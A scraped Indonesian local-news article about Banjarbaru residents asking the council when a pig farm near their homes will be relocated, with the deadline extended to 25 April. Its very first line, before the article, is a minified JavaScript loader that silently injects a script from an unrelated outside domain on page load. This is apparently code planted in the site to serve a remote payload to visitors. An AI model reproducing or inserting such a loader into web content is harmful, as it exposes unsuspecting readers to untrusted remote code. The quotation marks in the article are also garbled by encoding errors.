(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM BANJARBARU – Polemik aktivitas peternakan babi di Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, mendapat sorotan banyak pihak. Usai, DPRD Banjarbaru menerima aspirasi para peternak hingga mengadakan pertemuan dengan pemerintah kota. Giliran sejumlah warga mendatangi kantor wakil rakyat pada Selasa (3/3/2020) siang.
Sedikitnya, ada 15 orang mendatangi kantor DPRD Banjarbaru dan mengaku merupakan warga yang berdiam di sekitar kawasan peternakan babi. Mereka datang dengan menggunakan 1 unit truk, bermaksud mengetahui ihwal agenda pemindahan ternak babi di wilayah mereka.
Namun, dari belasan orang tersebut, hanya 4 orang perwakilan yang diperkenankan masuk untuk secara langsung mendengar kejelasan dari wakil rakyat yang dalam hal ini Komisi III DPRD Banjarbaru.
Pertemuan tidak berlangsung lama, hanya membahas topik tentang sejauh mana wacana Pemerintah Kota Banjarbaru melakukan pemindahan peternakan babi yang awalnya dijadwalkan pada tanggal 29 Februari lalu. Namun disepakati bahwa tempo waktu tersebut justru diperpanjang hingga tanggal 25 April.
Ketua Komisi III DPRD Banjarbaru Takyin Baskoro mengatakan, jika ini merupakan bentuk aspirasi warga kepada wakil rakyat. Disebutkannya, sekelompok warga ini merupakan berasal dari sekitar lokasi peternakan.
“Mereka hanya menyampaikan aspirasi dengan menanyakan kapan kandang babi di Guntung Manggis itu pindah. Lokasi tempat tinggal mereka memang berada yang paling dekat dengan lokasi peternakan babi, jadi bisa dikatakan merupakan warga yang terdampak,†kata Baskoro.
Walhasil, Baskoro mengaku dalam pertemuan tadi pihaknya hanya menjelaskan terkait perkembangan yang saat ini tengah berjalan. Tentunya, sesuai dengan hasil dari pertemuan dengan kelompok peternak babi maupun rapat dengar pendapat dengan pihak Pemko Banjarbaru.
“Sudah saya sampaikan kepada mereka bahwa ada kesepatan kesepakatan secara lisan untuk mengundur pemindahan kandang babi yakni hingga 25 April nanti. Nah, warga yang datang hari ini hanya ingin tahu kejelasan itu saja. Tidak ada aspirasi lebih,†aku politisi Nasdem tersebut.
Sementara itu, Ridwan (30) salah satu warga, berharap tidak ada lagi aktivitas peternakan babi di kawasan pemukimannya. Meskipun begitu, ia mengaku sebenarnya tidak melarang adanya aktivitas pertenakan babi di Kota Banjarbaru. Namun, sebagai catatan harus jauh dari pemukiman rumah warga.
“Informasi yang kita tahu, rencananya pemindahan tanggal 29 Februari lalu, tapi kok belum dilakukan. Nah, sekarang kita baru tahu ternyata diperpanjang sampai tanggal 25 April. Kita tidak masalah. Yang penting jangan molor lagi jadwalnya dan pindahnya juga harus jauh dari pemukiman,†harapnya. (kanalkalimantan.com/rico/adv)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.